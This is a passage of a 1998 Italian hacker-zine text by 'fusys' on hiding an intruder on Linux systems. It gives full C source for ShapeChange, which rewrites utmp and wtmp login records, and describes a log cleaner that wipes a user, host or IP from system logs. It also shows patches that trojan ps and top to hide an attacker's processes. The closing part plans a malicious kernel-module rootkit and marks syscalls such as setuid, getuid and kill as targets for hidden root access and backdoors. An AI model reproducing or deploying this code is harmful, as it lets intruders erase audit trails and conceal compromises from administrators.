di log che NON abbiano alcuna ricorrenza del nome utente, sistema o IP che
abbiamo specificato al programma. Questo hideme e' semplicemente rivolto
oltre ai tre log binari ai soliti testuali messages, secure, maillog e
xferlog. Ogni riga che comprenda una delle tre stringhe calde suddette
sparira' da quei log. In questo caso invece di strcmp usiamo strstr per
reperire OGNI evenienza delle nostre stringhe:
if ((!strstr(buffer, ninja)) &&
(!strstr(buffer, zaibatsu)) &&
(!strstr(buffer, zaibatsu_ip)))
Dopo con delle semplici chiamate a system sovrascriviamo i log normali con
i nostri nuovi :)
Qui qualcuno avra' gia' capito una cosa: se specificate root come nome da
nascondere, QUASI TUTTO MESSAGES verrebbe cancellato ! E se specificate
solo parte del vostro IP e questo fa parte degli IP di molti utenti legali
UAM! cagata in corso :) Terzo problema: e' CASE SENSITIVE .... non
cancellerete ROOT specificando root .... a parte questo HideMe fa quel che
deve ed e'semplice da esser capito e modificato ad hoc per altri sistemi e
log. Testato sia con libc che con glibc .
Ora come bonus :) per chi ha seguito tutto questo senza problemi vi lascio
un codicillo per divertirvi a lasciare il root del vostro sistema con gli
occhi sgranati. L'idea me l'ha data pIGpEN col suo articolo su come far
suicidare root :) .... in pratica un editor di strutture utmp, nel senso
che potete variare alcuni vari elementi delle strutture utmp sia nel file
utmp che wtmp.
Esempio pratico: sono nella mia home. Ho compilato il codice e l'ho reso
u+s root .... guardo chi c'e' in linea ... WOW c'e' root !
[fusys@bfi3 fusys]$ w
8:01pm up 1:41, 4 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fusys tty1 6:20pm 59.00s 0.80s 0.49s pico bfi3
fusys tty2 6:22pm 8:51 0.28s 0.03s pico shc.c
fusys tty3 7:21pm 0.00s 0.33s 0.03s w
root tty4 7:45pm 15:56 0.25s 0.10s -bash
Allora lancio ShapeChange :)
[fusys@bfi3 fusys]$ ShapeChange root ~R00T~ tty4 BFI98
Summoning energies ....
Ash Nazg durbatuluk, Ash Nazg gimbatul ...
Ash Nazg thrakatuluk agh burzum-ishi Krimpatul !
e cambio la login di root e l'host da cui si e' collegato. Ora controllo
con w(1) chi c'e' in linea:
[fusys@bfi3 fusys]$ w
8:04pm up 1:44, 4 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fusys tty1 6:20pm 3.00s 0.93s 0.62s pico bfi3
fusys tty2 6:22pm 11:42 0.28s 0.03s pico shc.c
fusys tty3 7:21pm 0.00s 0.33s 0.03s w
~R00T~ tty4 BFI98 7:45pm 18:47 0.25s 0.10s -bash
et voila' :)
Ora vi do il codice, senza tante spiegazioni. Guardatatevelo da soli. Si',
lo so che esistono altri utmpeditor, ma io non ne ho mai avuti sotto mano
quindi davvero non lo sapevo e ne ho messo su uno in cinque minuti per
voi. Possibili migliorie: controllo granulare sul numero di ricorrenze di
wtmp da editare, cambio delle strutture passwd per fregare finger, etc
etc.
--------------------------cut here----------------------------------------
/*
ShapeChange.c - spell of ninth level :) If you're not a wizard, DON'T try
this at home. Lets you disguise as another user :) on
another terminal, from another host. Sorry, no abilities
are attained if you try to disguise as a demigod.
Usage: ShapeChange <user> <new ID> <new tty> <new host> [-w]
This affects UTMP and WTMP [-w]. If you want me to support UTMPX and WTMPX
mantras, supply me with an IRIX wand. :) (or do it yourself).
WTMP magic may not be all that clever to perform. High Priests could get
suspicious. My Warning Is Bestowed Upon Thoust Soul. ;)
Apprentices of the LamA OrdeR : the Utmp,Wtmp reagent must be present and
usable ! Check your Mojo bags and VooRoot mantras.
Or simply cast a +s(pell) to owner root =:)
*/
/*************************************************************************
* Written by fusys no (C)1998 *
* Ideas From Utmp,Wtmp MAN Page and unCommon 20th Sec. Wit *
* Copy And Paste Allowed. For Non-Profit Fun And Learning Purposes. *
* AMEN. *
*************************************************************************/
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define UTMP "/var/run/utmp" /* you're supposed to check these reagents */
#define WTMP "/var/log/wtmp" /* for the spell to function properly */
int main (int argc, char *argv[])
{
struct utmp ut ;
int size, fin, fout ;
int wspell = 0 ;
char user[10], newuser[10], line[10], host[100] ;
if ((argc!=5) && (argc!=6)) {
fprintf(stderr, "\nShapeChange - no (C)1998 fusys") ;
fprintf(stderr, "\nUsage: %s <user> <new ID> <new tty> <new host> [-w]\n\n", argv[0]) ;
exit (0) ;
}
size=sizeof(ut) ;
strcpy(user, argv[1]) ;
strcpy(newuser, argv[2]) ;
strcpy(line, argv[3]) ;
strcpy(host, argv[4]) ;
if (argv[5]) {
if ((argv[5][0]=='-') && (argv[5][1]=='w')) {
wspell = 1 ;
}
else {
fprintf(stderr, "\nHmmm. Unknown Mantra.\n") ;
exit (0) ;
}
}
fin = open (UTMP, O_RDWR) ;
if (fin < 0) {
fprintf(stderr, "\nLacking Utmp Reagent.\n") ;
exit (0) ;
}
else {
while (read (fin, &ut, size) == size) {
if (!strncmp(ut.ut_user, user, strlen(user))) {
strcpy(ut.ut_user, newuser) ;
strcpy(ut.ut_line, line) ;
strcpy(ut.ut_host, host) ;
lseek(fin, -1*size, SEEK_CUR) ;
write(fin, &ut, size) ;
}
}
close(fin) ;
}
if (wspell) {
fin = open (WTMP, O_RDONLY) ;
fout = open ("wtmp.spell", O_WRONLY|O_CREAT) ;
if (fin < 0) {
fprintf(stderr, "\nLacking Wtmp Reagent.\n") ;
close (fin) ;
}
else if (fout < 0) {
fprintf(stderr, "\nHmm. No Space For Gestures.\n") ;
close (fout) ;
}
else {
while (read (fin, &ut, size) == size) {
if (!strncmp(ut.ut_user, user, strlen(user))) {
strcpy(ut.ut_user, newuser) ;
strcpy(ut.ut_line, line) ;
strcpy(ut.ut_host, host) ;
}
write (fout, &ut, size) ;
}
close (fin) ;
close (fout) ;
}
}
printf("\nSummoning energies ....") ;
printf("\nAsh Nazg durbatuluk, Ash Nazg gimbatul ...") ;
printf("\nAsh Nazg thrakatuluk agh burzum-ishi Krimpatul !\n\n") ;
if (wspell) {
system("/bin/mv wtmp.spell /var/log/wtmp") ;
system("chmod 644 /var/log/wtmp") ;
}
exit (0) ;
}
--------------------------cut here----------------------------------------
Riguardo a finger .... beh, lui controlla le strutture passwd, quindi se
non esiste il nome che voi avete scelto come rimpiazzo dell'originale,
finger mostrera' No one logged. Se volete bypassare questo potreste far
aggiungere temporaneamente al file passwd un account col nome da voi
scelto in argv[2] .... oppure cambiare i vari user tra di loro :)
Sinceramente l'incantesimo vero di ADeD contiene l'equivalente di un
setuid() ma mi sembra sciocco codarlo qui dentro dal momento che per
modificare i log dovete gia' esser root e potete quindi usare su senza le
password ....
Su alcuni vecchi SVr4 e SunOS i file sono 666 e quindi scrivibili da
tutti. Non e' un errore di sicurezza, ma un mezzo per permettere l'update
dei log anche da pseudoterminali con UID diverso da 0, in tempi in cui non
si pensava che nessuno si sarebbe mai messo a controllare i log per avere
un resoconto di un baco al sistema .....
Nello scorso articolo avete visto come intervenire sui parametri **argv di
un programma per alterarne il contenuto nei confronti di ps e top. Fin qui
OK. Pero' se avete usato hideme o similari per scomparire dai log, anche
un solo processo a vostro nome potrebbe rendervi visibili ...
Ho deciso quindi di prendermi i sorgenti del pacchetto procps1.2.4 fornito
come standard nelle nuove distro di Linux (non ricordo se la versione sia
cambiata da un anno a questa parte). In questo pacchetto abbiamo sia ps.c
che top.c . Ps lo conosciamo tutti .... e' quell'accrocco maledetto che
permette di sfogliare /proc e farci vedere tutti i processi del sistema.
Provate dal prompt un bel ps waux per vedere cosa succede sul vostro Linux
preferito. I parametri di ps variano con la versione di un!x. Ad esempio
su Svr4 e Solaris 2.x, i parametri che equivalgono al waux di Linux sono
'el' ... piu' o meno :) A questo proposito sono una manna dal cielo
libercoli tipo Unix in a NutShell di O'Reilly (la vecchia versione si
trova a 23.000 lire per 240 pagine circa di simil pagine man. Della stessa
serie ci sono anche per Linux e WindowsNT ... i prezzi variano a seconda
della rabbinaggine dell'importatore: sono solo in inglese).
Tornando a ps, e' possibile aggiungere due sole righe al sorgente per far
scomparire tutti i processi a nostro nome, senza aumentare le dimensioni
del binario (testato su RedHat 4.2 e 5.0):
un semplice #define BANISHED 501
per tenere a mente il proprio UID (vi ricordate, quello e' il mio 501
della linea di passwd di cui sopra) ... dopodiche' basta dire al programma
di checkare l'uid del processo contro BANISHED e di mostrarlo solo se sono
differenti. Andiamo, per essere precisi, nella funzione void show_a_proc
chiamata all'interno di ps.c e modifichiamola SEMPLICEMENTE e DIRETTAMENTE
cosi':
/* format a single process for output.
*/
void show_a_proc(proc_t* p, unsigned maxch) {
static char s[2048];
if (p->uid != BANISHED) { /* ###### :) ###### */
if (CL_num_outp)
snprintf(p->ttyc, sizeof p->ttyc, "%04.4x", p->tty);
(mode[CL_fmt].format)(s, p);
if (CL_fmt != PS_V && CL_fmt != PS_M)
show_time(s+strlen(s), p);
printf("%s", s);
show_cmd_env(p->cmd, p->cmdline, p->environ, maxch);
} /* fine troyan */
}
in questo caso se l'UID del processo in esame, specificato dall'elemento
uid della struttura di tipo proc_t in <readproc.h>, che contiene molti
altri elementi riguardanti parenti, segnali, orari, permessi, ... , non e'
uguale al 'nostro' UID definito come BANISHED allora possiamo mostrare il
processo. Altrimenti non comparira' affatto nella lista, qualunque siano i
parametri passati a ps. Ad esempio, dopo aver usato HideMe e con il ps
troyan:
[fusys@bfi3 codes]$ w
9:18pm up 2:58, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
~R00T~ tty4 BFI98 7:45pm 1:32m 0.25s 0.10s -bash
[fusys@bfi3 codes]$ ps
PID TTY STAT TIME COMMAND
[fusys@bfi3 codes]$
fusys esiste come utente del sistema, puo' lanciare programmi ed
utilizzare risorse, semplicemente NON compare per quanto riguarda il log
utmp e i processi. :)
Ovvieta': se invece di definire un UID come BANISHED, definiamo una
stringa contenente il nome che abbiamo dato ad un nostro demone che
vogliamo usare, ad esempio un nostro demone particolare, potremo comparare
con strcmp o strncmp BANISHED a p->cmd ..... dopo aver guardato i sorgenti
di ps verranno in mente molti usi simpatici ... ripeto: compilato con
glibc il 'nuovo' ps ha le stesse dimensioni di quello pulito. Ricordatevi
di strippare il binario dopo la compilazione. Non metto il sorgente di ps,
xche' abbisogna di buona parte di procps1.2.4 ... quindi pigliatevi il
pacchetto e cambiate la funzione come vi ho mostrato. Ovviamente il fatto
che non cambino le dimensioni non vuol dire che non cambino i checksum
basati su sum(1) ... [parentesi ... quando dico sum(1), quell' (1) si
riferisce al capitolo delle pagine man. Es, per differenziare il file
shadow(5), dalle funzioni relative alle chiamate di sistema in shadow(3) ]
A questo punto non siamo nei log, e se vogliamo, ogni nostro processo puo'
non essere valutato da ps e dai vari script di root che si basino su ps
... eppure potremmo essere ancora visti ... ad esempio con top(1).
Top non fa altro che mostrare il carico del sistema ordinando i processi
in base al carico che pongono sulle spalle del sistema operativo, in base
al tempo macchina, memoria utilizzata, stato di funzionamento e quant'altro.
Il funzionamento e' assimilabile a quello di ps, ma usa delle funzioni
differenti orientate all'ordinamento dei processi in maniera visibile.
Anche qui possiamo agire in alcuni modi, dopo aver visto il sorgente.
Quello che vi mostro non e' forse il migliore, in quanto aumenta le
dimensioni del binario.
Il solito #define BANISHED 501
ci permette di definire la nostra chiave di scrematura dei processi. In
questo caso in base all'UID, ma potrebbe essere anche il nome, o magari il
path del programma per occultare una nostra dir segreta ...
Nella funzione void show_task_info potremmo inserire il solito if poco
prima della chiamata a printf per mostrare la linea del processo:
riga ~ 972 if (task->uid != BANISHED) {
printf("\n%s", tmp2);
}
Ora top non mostra piu' i processi che fanno capo al nostro utente
nascosto. Ma ha un problemino. Oltre alle dimensioni aumentate del binario
top continuera' a mostrare il numero di processi attivi in quell'istante.
Se i processi sono 10 e 3 sono invisibili a causa del troyan inserito, top
presentera' info generali relative alla memoria e CPU, mettendo in mostra
il numero di processi attivi = 10; poi pero' ne mostrera', come farebbe
ps, solo 7 <g> .... certo, in un sistema con carico di decine e decine, se
non centinaia di processi sara' difficile accorgersene .... ma contate che
se date il via ad una ricompilazione del kernel (tanto per dire un
processo con carico notevole sulla macchina) top mostrera' la presenza
dell'elevato carico senza mostrare quale processo renda carica la
macchina, insospettendo quindi i root piu' attenti. Quindi forse e' il
caso di dare un occhio alla funzione void do_stats che come dice il
sorgente stesso calcola il numero di processi attivi. Questo lo lascio
come :)))) esercizio. Vi faccio pero' vedere una possibile soluzione.
Intanto gia' con un semplice if ci si mette un bel po' di root alle spalle :)
Occhio che questo tipo di approccio non investe /proc in quanto tale che
puo' quindi essere messo a nudo da un amministratore con le palle. O
paranoico abbastanza. Quindi la funzione unsigned show_meminfo()
continuera' a mostrare /proc/meminfo ... qui ci vorrebbe davvero una
modifica a livello kernel per quanto riguarda /proc (vedi pacchetto
filesystem-1.3.1-2) oppure per nascondere, andando a modificare
getdents(2), le letture del filesystem ...
Tornando a top. Cerchiamo di capire cosa diavolo faccia la funzione che
dovreste ulteriormente 'patchare' per non dare eccessivamente nell'occhio ...
In void do_stats c'e' questo loop:
while (p[n]->pid != -1)
alla riga 1128 che si occupa di passare in rassegna ogni processo per
catalogarlo in base al suo status. Se esso cioe' sia S, R, Z, T . Questo
viene valutato con un semplice giro di switch:
this = p[n];
switch (this->state)
Ovviamente possiamo basare anche qui il nostro controllo in base all'UID
del processo per scremare la lista di processi definiti in base al loro
status:
this = p[n];
if(this->uid != BANISHED) {
switch (this->state) {
.....
}
}
In questa gretta maniera :) l'output di top ora non mostrera' neanche il
numero esatto di processi S,R,Z, o T a nostro nome presenti sul sistema,
come invece succedeva prima. Ora quindi mancano all'appello i nomi ed i
dati dei nostri processi e la statistica sul numero dei processi in base
allo stato. Per completare la modifica dobbiamo occuparci del numero
totale dei processi. Alla fine del ciclo while che ho mostrato sopra c'e'
un semplice incremento della variabile n:
n++;
}
che chiude il ciclo incrementando il valore che viene stampato sullo
schermo con:
printf("%d processes: %d sleeping, %d running, %d zombie, "
"%d stopped", n, sleeping, running, zombie, stopped);
Se alla fine del nostro if aggiungiamo un
else bn++ ;
dopo aver aggiunto alla prima riga di do_stats() anche un bel
int bn = 0;
a questo punto potremo, prima del printf() aggiungere n -= bn ; per
veder scomparire anche il numero totale dei processi ...
WOW , vero?! NO, PER NIENTE :) D'accordo che vi ho fatto vedere per
adesso quasi solo cicli if con parentesi che circondano intere funzioni
dei sorgenti, ma non sempre e' cosi' fattibile. In effetti in questo caso
(e potete provarlo) il flusso del programma altera la funzione nascondendo
proprio il processo piu' importante: TOP !!! Qualunque sysop se ne
accorgerebbe, lanciando top, di non vederlo nella sua lista, visto che e'
uno dei programmi che maggiormente carica il sistema, tra le utility.
Quindi cosi' non va. :)
Un altro modo e' quello di mantenere delle variabili analoghe a quelle
legali, da sottrarre loro per ogni nostro processo da nascondere.
Ad esempio se int sleeping si occupa del numero dei processi in stato S
dobbiamo aumentare hacksleeping al suo posto se il processo S ha l'UID che
noi vogliamo nascondere .... alla fine potremo sottrarre le variabili tra
loro. Quindi cambiamo il blocco di switch all'interno di while (da riga
1125 a 1148) di do_stats in questa maniera (mostro solo un 'case', gli
altri sono analoghi):
switch (this->state) {
case 'S':
case 'D':
(this->uid != BANISHED) ? sleeping++ : bansleep++;
break;
In questo modo a seconda dell'UID aumenteremo di 1 il valore della
variabile legale o meno. Quindi dobbiamo modificare le dichiarazioni delle
variabili di do_stats perche' riflettano le nuove che ci servono:
int index, total_time, i, n = 0, bn = 0;
int bansleep = 0, banstop = 0, banz = 0, banrun = 0;
int sleeping = 0, stopped = 0, zombie = 0, running = 0;
La variabile bn dovra' contenere la somma delle variabili legali dopo che
le avremo opportunamente equilibrate, tra la riga 1205 e 1209 :) :
sleeping -= bansleep;
running -= banrun;
zombie -= banz;
stopped -= banstop;
bn=sleeping+running+zombie+stopped;
OK, un bel ciclo for sarebbe molto piu' elegante. Chiamate uno stilista.
A questo punto vi ricordate ancora della printf() di cui qualche riga
sopra ? Quella che stampa tutti i numeri dei processi ? Bene, sostituite
la variabile n con la nuova bn e siete a posto ! Almeno per quanto
riguarda le funzionalita' base di top, intendo :) L'esercizio che lascio
e' creare un VERO top troyan .... questo e' un principio. :)
Ovviamente quel che state vedendo relativo a ps e top puo' essere esteso
concettualmente a molti altri binari. E se state attenti alle dimensioni
dei file, e alle varie funzioni da modificare in modo da pararvi tutte le
possibili implicazioni del programma ... beh, capite anche voi cosa
otterreste .... un rootkit ! Potreste spulciarvi i sorgenti di ls, ps,
top, su, ifconfig, netstat, login, ed altro a seconda del tipo di sistema.
Alla fine della fiera questi rootkit non e' che siano chissa' che. :)))
Molto meglio implementare il rootkit come un LKM, ovvero un Loadable
Kernel Module, o modulo kernel caricabile. Linux 2.0 ha una struttura
modulare permettendo il link automatico di 'pezzi' di kernel. Qui il
discorso si fa piu' ostico ... si tratta in poche parole di interporsi
tra i processi in area utente e le chiamate di sistema in area kernel,
creando delle NUOVE chiamate di sistema da lanciare al posto delle legali.
A questo punto ogni accesso alle strutture del kernel potrebbe essere
manipolato in modo da nascondere processi, zone del disco, cambiare
l'esecuzione di alcuni programmi, reagire a determinate 'evenienze
grilletto' ..... se avete avuto problemi di comprensione fino a qui allora
questo discorso e' quasi fantascienza, per cui lo rimandiamo ad un altro
articolo. (Non appena, oltretutto, saro' riuscito a codarmi quel cazzo di
modulo che sto tentando, porca miseria :) )
Per ora quindi e' tutto.
fusys
###########################################################################
SOLO UNA NOTA:
Questi NON sono exploit. Sono solo possibili implementazioni pratiche di
concetti facilmente immaginabili. Non sono neanche eccezionali dal punto
di vista stilistico (per i progs in C) o funzionale. Ma fungono. E qui
entra in gioco il mio alias. Fusys va contrapposto a Tekne. Gli americani
vanno pazzi per il latino, tonti come sono. Noi Italiani che gia' parliamo
una lingua cosi' simile al latino possiamo masturbarci mentalmente con il
greco :) Quindi mano ai dizionaretti di greco per i due alias suddetti.
###########################################################################
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ PR0GETT0 CAR0NTE ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
PARTE I - áASi TE0RiCHE ED iDEE VARiE
NO(C)1998 fusys
A scopo informativo e ludico. Come al solito fatene quel che volete. In
forma elettronica per costringervi a comprare comunque la carta igienica.
CARONTE. Senza dover prendere in mano la Storia di Roma e Grecia Antica a
fumetti di Enzo Biagi, sicuramente sapete tutti di chi si tratta.
Il viandante dello Stige, l'accompagnatore dei defunti, il barcaiolo delle
nebbie infernali ... Ad ogni modo il traghettatore. Delle anime nere.
Come la vostra e la mia.
In altri articoli ho nominato invano mantra ancestrali come KeRNeL e LKM ...
Per qualche mese ho aspettato che la conoscenza mi cadesse tra le cerebra
dall'alto del nirvana dei wizards ... che qualche traghettatore mi
portasse in KeRNeL-LaND ...
Ora mi son rotto di aspettare. Ora le cerebra me le concimo e coltivo da
solo. Insieme a voi. Evocheremo insieme Caronte. Di certo non potro'
esserlo io. :) Vengo con voialtri ...
##########################################################################
NOTA: quel che segue e' il risultato on the road, tra ore di grep,
editing vario, 'printk della morte' e sane letture notturne.
NON SI TRATTA DI UN KERNEL HOWTO; parlero' solo di quei lati che
interessano il progetto CaRoNTe. Per me e' roba nuova. Scrivendo
MI aiuto a capire e cementare. Se leggere vi puo' aiutare, fatelo
piu' volte. Non ho mai amato le brutte. Questo articolo segue
il mio modus aencefali piu' che una scaletta. AMEN.
##########################################################################
*** OBIETTIVO ***
Cerchiamo di definire immediatamente l'obiettivo del progetto CaRoNTe.
Il MODULO-CAROGNA :) ovvero una forma di sovvertimento, di troyan, di
paraculata (chiamatela come volete) a livello KERNEL. Ovvero quanto di
piu' segreto e difficilmente scopribile possibile, che ci possa nascondere
agli occhi del sistema, possa lasciarci aperta qualche backdoor, e quanto
altro possa servirci. OVVIAMENTE per Linux. Nel senso che smanettando nel
KERNEL non si puo' sperare di rendere portabile alcunche'. Niente versione
per BSD quindi. Ue' raga non ne faccio una questione di religione, e' solo
che ho imparato a programmare, smanettare, unixare sotto Linux. Questo ho
al momento e su questo sto hackerando. Regalatemi un CD di Free|NetBSD ed
il libro con l'implementazione del 4.4 (peraltro gran bel libro) e
qualcosa tiro fuori!!! :) Gran parte della descrizione delle chiamate di
sistema vale per sistemi x86 ... se volete qualcosa sugli Alpha, non avete
che da regalarmente uno (v.sopra) =;).
*** TRIVIAL ***
No. Non domande :) Ma solo qualche definizione per evitare di dilungarmi
nel testo che segue. Utile per i newbie, per i mega esperti di InterNet ma
all'oscuro di teoria degli OS, e un po' per tutti per ripassare. In regalo,
a chi invece le sa tutte, un poster dei L0pht al concerto di Julio! =;)
Julio Iglesias, ovviamente, tze ....
KERNEL Il Webster italiano lo mappa come NUCLEO. Vabbe'. Siccome
non stiamo parlando del MCP di Tron io lo chiamo kernel
come fanno tutti. In sostanza si tratta del livello 'base'
del sistema operativo su cui siete poggiati come oche
gravide in un laghetto ;) . Contiene l'implementazione
delle funzioni base dell'OS, come le chiamate di sistema.
Il kernel della serie 2.0.x di Linux e' formato da qualche
cosa come 470.000 linee in linguaggio C e 8.000 in
assembler. (della serie "WOW, ATARI" (C)~1981 ;)))
CHIAMATE DI SISTEMA
'Salti' all'interno di un programma verso funzioni fornite
e/o inerenti al sistema operativo stesso. Un vero e proprio
trasferimento di controllo temporaneo verso procedure di
basso livello che si occupano dell'interfaccia tra i
processi e la macchina su cui gira il sistema che li ospita.
In Linux e Un!x in generale, molte chiamate di sistema
sono 'mascherate' agli occhi del programmatore da funzioni
in linguaggio C. Se cercate la Bibbia delle varie chiamate
sotto Un!x la trovate sotto il nome "Advanced Programming
in the Unix Environment" (ed ora finalmente capite che amo
incondizionatamente i libri ;)))
SYSTEM MODE La zona di sistema dove risiede ed opera il kernel, le cui
funzioni lavorano con gli stessi privilegi. Nessun processo
di nessun utente puo' direttamente manipolare dati e
strutture in questa zona, se non indirettamente mediante
le chiamate di sistema, spesso mascherate da funzioni in C.
USER MODE La zona utente dove risiedono ed operano i processi creati
dal sistema e dagli utenti durante il cosiddetto run-time,
o tempo di esecuzione.
LKM Acronimo di tre lettere, o TLA ;), indica un Loadable
Kernel Module, o Modulo Kernel Caricabile. Come penso
anche i sassi sappiano (se sono utenti Linux) con la
versione 2.0.x ha fatto la comparsa in maniera stabile il
kernel modulare, che permette di aggiungere codice da
linkare al 'nucleo' al momento della sua effettiva
richiesta, per mantenere le dimensioni del kernel vero e
proprio maggiormente contenute.
IPC InterProcessCommunications, o comunicazioni tra processi.
In questa definizione vengono genericamente identificati
tutti gli strumenti necessari a mantenere in contatto i
diversi processi tra di loro, in modo da, ad esempio,
non permettere la sovrascrittura dello stesso device,
oppure per sincronizzare le operazioni di due accessi alla
memoria ...
C, linguaggio Ideato da Kernighan e Ritchie viene considerato IL
linguaggio che va conosciuto comunque, oltre agli altri,
per la sua capacita' di metter mano a basso livello nella
macchina e scombinarla a piacimento :) . E'il linguaggio
che va imparato almeno a livello base dagli aspiranti
hacker visto che il 99% dei vari Un!x e dei vari exploit
e' scritto in questo idioma.
*** BASI TEORICHE ***
Questo articolo non e' un progetto filantropico. Quindi daro' per scontato
che chi legge conosca ad esempio la differenza tra UID e EUID. Che sappia
quali sono le basi, almeno da utente, di un sistema Un!x. Se non lo
sapete, e proprio di imparare da soli non vi va, e' finalmente uscito
Linux for Dummies in italiano. E' un po' una sola :) ma il titolo
rispecchia l'effettiva curva di apprendimento.
DA !? A BOH!?
Ogni sistema operativo fornisce una serie di servizi, cosiddetti di base,
ad ogni processo che possa richiederne l'uso. Operazioni di I/O sui file,
allocazione di zone di memoria, mantenimento del tempo di sistema e sua
manipolazione, intercomunicazioni tra processi e quel genere di cosette di
cui sinceramente non viene spesso in mente di curarsi ...
Linux, un 'clone' Un!x gratuito ha il suo bel set di funzionalita' di base
espresso in svariate chiamate di sistema. Come ho pero' prima detto, molte
chiamate sono mascherate come funzioni della libreria C, il che confonde
non poco i confini tra le chiamate di sistema e le semplici funzioni C.
Una chiamata di sistema e' una transizione di un processo da user mode a
system mode; in Linux questo avviene chiamando l'interrupt 0x80 insieme
agli attuali valori presenti nei registri. Il Kernel a quel punto chiama
(in system mode) una funzione dalla tabella _sys_call_table . Queste
funzioni sono quelle che nel sorgente iniziano per sys_
La conversione tra la funzione chiamata all'interno di un programma e la
chiamata di sistema apposita e'operata dalla libreria C. In Linux
specialmente, e' comune la presenza di maschere delle piu' comuni chiamate
di sistema nella libreria C, il che ne rende piu' complessa la
differenzazione.
Le funzioni che il KERNEL mette a disposizione sono essenzialmente
divisibili in sei branche:
a) manipolazione dei processi
b) file system
c) comunicazioni (IPC, socket)
d) gestione della memoria
e) inizializzazione
f) resto del mondo
La radice dei sorgenti del kernel e' /usr/src/linux/.
Il grosso delle funzioni e' presente nella directory kernel ed in
arch/i386/kernel se avete a disposizione i sorgenti del kernel E sono
nella directory usuale. In mm e arch/i386/mm il necessario per la gestione
della memoria. In ipc il necessario per gli IPC. In net per la gestione
dei protocolli TCP/IP e dei socket. In drivers lo capisce anche mia nonna :)
nelle altre dir guardateci voi o devo fare tutto io!?
SYSTEM CALLS
Ovviamente non e' mia intenzione mostrarvi tutte le chiamate di sistema,
ne' tantomeno la loro implementazione. I sorgenti del kernel li avete
proprio per questo. Comunque sarebbe sciocco, nell'ambito del progetto
CaRoNTe, un modulo-carogna che modificasse molte chiamate di sistema.
L'idea e' quella di un codice snello, che ci permetta di ottenere quel che
serve, senza fronzoli, ma soprattutto che sia facilmente 'manovrabile'.
Con questo intendo sia il trasporto sul sistema remoto, che la eventuale
compilazione .... qui non si tratta di
produrre un file core o di andare
in violazione di segmentazione. Qui stiamo parlando di reset della
macchina :) Se il codice crea casino in user mode, vabbe', il processo
muore .... ma se spadroneggia in system mode allora butta giu' con se
tutto il Kernel. Proprio come un programma Windows :)
Quindi ora vedremo alcuni aspetti del funzionamento di Linux, che ci
possano essere utili per la futura implementazione del MODULO-CAROGNA.
Per questo, vi tediero' con alcune chiamate di sistema di alcune delle
branche suddette. Ogni descrizione mostra la chiamata, l'ambiente di
origine della stessa, la funzione corrispondente nel kernel, etc etc :)
a) manipolazione dei processi
-------------------------------------------------------------------------
call setuid POSIX, 4.3+BSD
getuid
file kernel/sched.c
kernel/sys.c
int sys_setuid(uid_t uid);
int sys_getuid(void);
La sys_setuid() setta lo UID di un processo a uid. Se il proprietario del
processo e' root questo vale per UID, EUID, SUID e FSUID. Se invece e' un
utente normale sono settati solo EUID e FSUID. Il valore di ritorno e' 0
in caso di successo, -1 in caso di errore.
La sys_getuid() invece ritorna lo UID del processo chiamante.
L'implementazione di queste chiamate e' decisamente semplice. Guardatevi
il sorgente.
errori EPERM se la funzione non e' permessa. Solo root puo' variare
ogni dato del processo.
In pratica setuid permette ad un processo di assumere i privilegi di un
altro UID (e quindi di un altro utente del sistema). Invece getuid
permette ad un programma di sapere chi diavolo lo stia eseguendo, per
valutare come agire; in pratica due pesi due misure :) Se si e' root OK ti
faccio fare tutto. Se sei il povero utente, NADA o magari ti faccio far
pochino.
Queste due chiamate sono usate spessissimo in moltissimi programmi. Sono
decisamente importanti ed utili in un ambiente multiutente.
CaRoNTe: "Hmmm .... e se potessimo alterare queste due chiamate di sistema ?
Potremmo fare in modo che quando usiamo un programma, il nostro
UID sia uguale a 0. Senza pero' essere realmente root! Questo
semplicemente alterando sys_getuid(); modificando sys_setuid()
invece, potremmo ottenere i privilegi di root specificando uno
UID inesistente, che non ci darebbe errori di permesso come con
setuid(0) !"
----------------------------------------------------------------------------
call kill POSIX
file kernel/exit.c
#include <signal.h>
int sys_kill(int pid, int sig);
Questa manda il segnale sig ad un processo. Se pid e' maggiore di zero, va
al processo con PID uguale a pid. Se e' zero, va al gruppo di processi del
chiamante. Se e' -1 Linux fa mandare il segnale a tutti i processi con PID
maggiore di 1, tranne che al chiamante. Questo e' differente da POSIX che
invece non specifica nulla al riguardo. Per valutare il controllo di pid
date un occhio a exit.c
errori EINVAL se sig non e' valido
ESRCH se il processo, o il gruppo pid non esiste
EPERM i privilegi del chiamante non permettono l'invio di sig
A differenza di quello che si crede da utenti normali :) kill(), ed il suo
front-end kill(1) non servono per uccidere un processo. Ma per inviare
segnali. Che quello di default serva a terminare un processo e' un altro
discorso.
CaRoNTe: "Hmmm .... se agissimo a livello del KERNEL insegnandogli un nuovo
segnale, potremmo poi inviarlo ai processi da noi scelti per
variarne le caratteristiche e/o i privilegi !"
----------------------------------------------------------------------------
call create_module Linux
delete_module
init_module
get_kernel_syms
file kernel/module.c
unsigned long sys_create_module(char *name, unsigned long size);
int sys_delete_module(char *name);
int sys_init_module(char *name, char *code, unsigned codesize,
struct mod_routines *routines, struct symbol_table *symtab);
int sys_get_kernel_syms(struct kernel_sym *table);
create_module() alloca le risorse per il modulo da caricare. Genera
inoltre una istanza di una struttura di tipo module, che ha come nome *name
e ne setta nome, dimensioni, indirizzo di partenza della memoria allocata
e lo stato. Gli altri parametri sono a NULL:
struct module {
struct module *next;
struct module_ref *ref;
struct symbol_table *symtab;
const char *name;
int size;
void* addr;
int state;
void (*cleanup)(void);
};
init_module() carica ed attiva il LKM, fornendo il puntatore alla
struttura mod_routines per l'avvio e la chiusura del modulo:
struct mod_routines {
int (*init)(void);
void (*cleanup)(void);
};
